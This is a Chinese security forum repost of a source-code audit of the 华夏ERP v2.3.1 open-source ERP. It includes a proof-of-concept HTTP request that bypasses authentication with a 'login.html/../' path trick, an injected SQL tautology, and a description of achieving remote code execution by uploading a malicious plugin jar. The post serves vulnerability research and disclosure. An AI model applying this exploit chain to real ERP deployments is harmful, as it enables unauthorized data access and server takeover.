安全矩阵

 找回密码
 立即注册
搜索
查看: 2514|回复: 0

某开源ERP最新版SQL与RCE的审计过程

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-5-28 19:20:17 | 显示全部楼层 |阅读模式
原文链接:某开源ERP最新版SQL与RCE的审计过程
前言
代码路径

  • https://gitee.com/jishenghua/JSH_ERP

软件版本

  • 华夏ERP_v2.3.1

源码审计的流程都是一样,从外部输入点开始跟踪数据流,判断数据处理过程中是否存在一些常见的漏洞模式,比如外部数据直接拼接到SQL语句,就导致了SQL注入漏洞。
对于Web应用来说常见外部数据入口有
  • Filter
  • 处理Url请求的Controller

查找这些入口的方式有很多,比如查看系统配置文件(web.x ml),查看对应注解,或者先抓包找到想看的请求,然后根据字符串来进行定位。
找到入口后就是跟踪数据流,着重关注权限检查、数据过滤、以及平时积累的漏洞模式(XXE、SQL注入等)
认证绕过系统存在一个 fliter,在 LogCostFilter 里面会检查 session 来判断用户是否登录,如果没有登录就会让他重定向到 login.html ,与漏洞相关代码如下

  1. <li><p><code>@WebFilter(filterName = "LogCostFilter", urlPatterns = {"/*"},</code></p></li><li><p><code>       initParams = {@WebInitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"),</code></p></li><li><p><code>                     @WebInitParam(name = "filterPath",</code></p></li><li><p><code>                             value = "/user/login#/user/registerUser#/v2/api-docs")})</code></p></li><li><p><code>public class LogCostFilter implements Filter {</code></p></li><li><p><code>   @Override</code></p></li><li><p><code>   public void doFilter(ServletRequest request, ServletResponse response,</code></p></li><li><p><code>                        FilterChain chain) throws IOException, ServletException {</code></p></li><li><p><code>       HttpServletRequest servletRequest = (HttpServletRequest) request;</code></p></li><li><p><code>       HttpServletResponse servletResponse = (HttpServletResponse) response;</code></p></li><li><p><code>       String requestUrl = servletRequest.getRequestURI();</code></p></li><li><p><code>       //具体,比如:处理若用户未登录,则跳转到登录页</code></p></li><li><p><code>       O bject userInfo = servletRequest.getSession().getAttribute("user");</code></p></li><li><p><code>       if(userInfo!=null) { //如果已登录,不阻止</code></p></li><li><p><code>           chain.doFilter(request, response);</code></p></li><li><p><code>           return;</code></p></li><li><p><code>       }</code></p></li><li><p><code>       if (requestUrl != null &amp;amp;&amp;amp; (requestUrl.contains("/doc.html") ||</code></p></li><li><p><code>           requestUrl.contains("/register.html") || requestUrl.contains("/login.html"))) {</code></p></li><li><p><code>           chain.doFilter(request, response);</code></p></li><li><p><code>           return;</code></p></li><li><p><code>       }</code></p></li>
复制代码


首先通过 getRequestURI 获取到请求 url,然后判断 session 中是否存在 user 属性,如果不为null,就表示已经登录了直接放行,否则会对 requestUrl 进行判断,如果包含 login.html、doc.html、register.html就表示不需要登录直接放行,但是这里使用的是 contains 方法,只要字符串里面带这些字符串即可通过校验
poc

  1. <li><p><code>GET /depotHead/login.html/../list?search=aaa&amp;amp;currentPage=1&amp;amp;pageSize=10&amp;amp;t=1618229175662 HTTP/1.1</code></p></li><li><p><code>Host: 192.168.245.1:9978</code></p></li><li><p><code>Accept: application/json, text/j avas cript, */*; q=0.01</code></p></li><li><p><code>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36</code></p></li><li><p><code>X-Requested-With: x mlHttpRequest</code></p></li><li><p><code>Accept-Encoding: gzip, deflate</code></p></li><li><p><code>Accept-Language: zh-CN,zh;q=0.9</code></p></li><li><p><code>Connection: close</code></p></li>
复制代码


使用上面请求即可访问到 /depotHead/list 对于的 controller.
sql注入处理函数时 getDepotHeadList

可以看到 subType 里面有注入的数据,继续跟进

selectByConditionDepotHead 应该是 配置mybatis 时需要的方法,安装 MyBatisCodeHelper-Pro 插件后点击方法左边的logo即可跳转到对应的x ml配置文件

可以看到配置文件使用 $ 对用户数据进行拼接,导致SQL注入

在分析过程中可以在 application.properties 里面增加配置,让 mybatis 打印出会执行的 sql 语句

    1. logging.level.com.jsh.erp.datasource.mappers.*=debug
    复制代码




最后执行的 sql 语句如下

    1. Execute SQL:SELECT COUNT(1) FROM (SELECT DISTINCT dh.* FROM jsh_depot_head dh LEFT JOIN jsh_depot_item di ON dh.Id = di.header_id AND ifnull(di.delete_flag, '0') != '1' LEFT JOIN jsh_material m ON di.material_id = m.Id AND ifnull(m.delete_Flag, '0') != '1' WHERE 1 = 1 AND dh.type = '其它' AND dh.sub_type = '采购订单' OR '' = '' AND (m.name LIKE '%22222222222222%' OR m.standard LIKE '%22222222222222%' OR m.model LIKE '%22222222222222%') AND ifnull(dh.delete_Flag, '0') != '1') tb
    复制代码




可以看到 sql 语句被注入成了恒等,所以会把所有数据返回。

RCE软件有一个”隐藏”的Controller

  1. <li><p><code>   /**</code></p></li><li><p><code>    * 上传并安装插件。注意: 该操作只适用于生产环境</code></p></li><li><p><code>    * @param multipartFile 上传文件 multipartFile</code></p></li><li><p><code>    * @return 操作结果</code></p></li><li><p><code>    */</code></p></li><li><p><code>   @PostMapping("/uploadInstallPluginJar")</code></p></li><li><p><code>   public String install(@RequestParam("jarFile") MultipartFile multipartFile){</code></p></li><li><p><code>       try {</code></p></li><li><p><code>           if(pluginOperator.uploadPluginAndStart(multipartFile)){</code></p></li><li><p><code>               return "install success";</code></p></li><li><p><code>           } else {</code></p></li><li><p><code>               return "install failure";</code></p></li><li><p><code>           }</code></p></li><li><p><code>       } catch (Exception e) {</code></p></li><li><p><code>           e.printStackTrace();</code></p></li><li><p><code>           return "install failure : " + e.getMessage();</code></p></li><li><p><code>       }</code></p></li><li><p><code>   }</code></p></li>
复制代码


用户可以上传一个符合格式的jar包到这个接口,这里就会通过 uploadPluginAndStart 上传并安装插件,插件的格式可以参考下面链接

  • https://gitee.com/starblues/springboot-plugin-f ramework-parent

需要额外注意的一点是,编译出来的demo插件,需要修改jar包的manifest文件,增加几个字段

在 DefinPlugin 类里面增加恶意代码,当插件加载后就会执行。

当前版本有一个限制,或者说该功能有bug,需要手动创建 plugins 目录(或者系统之前已经安装过插件)才能安装新插件到该目录。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 04:43 , Processed in 0.012722 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表